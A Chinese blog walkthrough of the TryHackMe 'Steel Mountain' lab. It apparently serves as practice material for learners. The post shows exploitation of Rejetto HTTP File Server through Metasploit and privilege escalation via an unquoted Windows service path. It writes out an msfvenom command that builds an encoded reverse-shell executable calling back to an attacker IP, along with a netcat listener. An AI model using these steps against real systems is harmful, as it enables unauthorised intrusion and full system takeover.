首页 > 其他分享 >THM-Steel Mountain(钢山)

THM-Steel Mountain(钢山)

时间:2023-03-28 11:37:32浏览次数:49  
标签:Steel Mountain shell THM exe 使用 服务器 powershell Advanced

谁是本月最佳员工?

直接访问目标机器,可以看到一个图片,检查得到该图片的名称为Bill Harper

初始访问

使用 nmap 扫描机器。运行 Web 服务器的另一个端口是什么?

看看另一个 Web 服务器。什么文件服务器正在运行?

直接提交HTTP File Server是错误的,网上搜索得到完成名称Rejetto HTTP File Server

利用此文件服务器的CVE编号是多少?
使用msfconsole搜索HFS,并使用info查看该漏洞模块的详细信息,在最后得到该漏洞的CVE编号

使用 Metasploit 获取初始 shell。什么是用户标志?
使用msfconsole利用

特权升级

为了枚举这台机器,我们将使用一个名为 PowerUppowershell 脚本,其目的是评估 Windows 机器并确定任何异常 - “ PowerUp旨在成为 依赖错误配置的常见 Windows 特权升级向量的工具

访问该链接条件到下载页面,注意这里是将该脚本下载到本机,然后上传到目标机器

该脚本基于powershell,所以我们需要使用目标主机的powershell,可以还是用load powershell加载powershell,然后使用powershell_shell进入目标的powershell命令行

运行Powerup.ps1脚本,输入Invoke-AllChecks检查

注意CanRestarttrue选项,可以发现AdvancedSystemCareService9服务具有路径引用服务的问题,并且运行的账户是LocalSystem

CanRestart 选项为True,将允许我们在主机上重启该服务,并且Path路径可以进行配置,我们可以将恶意程序替换合法的程序,重启该服务,该主机会受到我们的攻击

使用 msfvenom生成反向 shell 作为 Windows可执行文件
msfvenom -p windows/shell_reverse_tcp LHOST=10.2.34.252 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

注意这里使用shell_reverse_tcp无阶段的payload,不然nc会收不到shell

使用nc -lvp 4443监听

将生成的Advanced.exe上传到C:\Program Files (x86)\IObit\Advanced.exe,该漏洞形成的原因是因为管理员在设置PATH的时候没有使用""双引号对目录进行锁定

然后进入目标shell,重启服务即可获得system权限的shell

注意:这里服务显示为未引用(并且可以使用此技术进行利用),也可以使用弱文件属性直接修改PATH

什么是root标志?

标签:Steel,Mountain,shell,THM,exe,使用,服务器,powershell,Advanced
From: https://www.cnblogs.com/Junglezt/p/17264448.html

相关文章

  • THM-Kenobi(克诺比)
    侦查用nmap扫描机器,打开了多少个端口?枚举共享服务sambaSamba是用于Linux和Unix的标准Windows互操作程序套件。它允许最终用户访问和使用公司内联网或互联网上的......
  • 【THM】Packets & Frames(了解数据包和帧)-学习
    本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/packetsframes本文相关内容:了解数据如何被分成更小的部分并通过网络传输到另一台设备。什么是数据包和帧?......
  • [Algorithm] Disk height (DP + back tracking)
    You'regivenanon-emptyarrayofarrayswhereeachsubarrayholdsthreeintegersandrepresentsadisk.Theseintegersdenoteeachdisk'swidth,depth,......
  • 【THM】OSI Model(OSI模型介绍)-学习
    本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/osimodelzi本文相关内容:了解决定跨网络处理数据的各个阶段的基本网络框架。什么是OSI模型?OSI模型(开放系......
  • 【THM】Pentesting Fundamentals(渗透测试基础介绍)-学习
    本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/pentestingfundamentals本文相关内容:了解渗透测试背后的重要道德规范和方法论。什么是渗透测试?在学习道......
  • algorithmicx(use algpseudocode as layout)学习记录
    这几天写算法作业,提供的tex文件中使用algorithmicx书写伪代码,虽然也会用algorithm2e,但技多不压身,现在就来学一学。目录概述ExampleDetails行号行注释引用Commandsifblock......
  • 【THM】Intro to Digital Forensics(数字取证介绍)-学习
    本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/introdigitalforensics本文相关内容:了解数字取证及其相关流程,并完成相关的简单实例。简介取证是指应用科......
  • 如何使用Rust迭代器, 以Luhn Algorithm的实现为例
    本题来源自谷歌的Comprehensive-Rust课程第二天下午的练习问题描述在这个练习的描述中,LuhnAlgorithm是一种用来验证银行卡号是否合法的算法.他的具体流程如下:去掉......
  • COMP3221 Routing Algorithm
    Due:March31st,2023(Friday,Week6)by11:59PMCOMP3221Assignment1:RoutingAlgorithmThegoalofthisassignmentistoimplementroutingprotocolsforane......
  • algrothm_ 约瑟夫环
    ......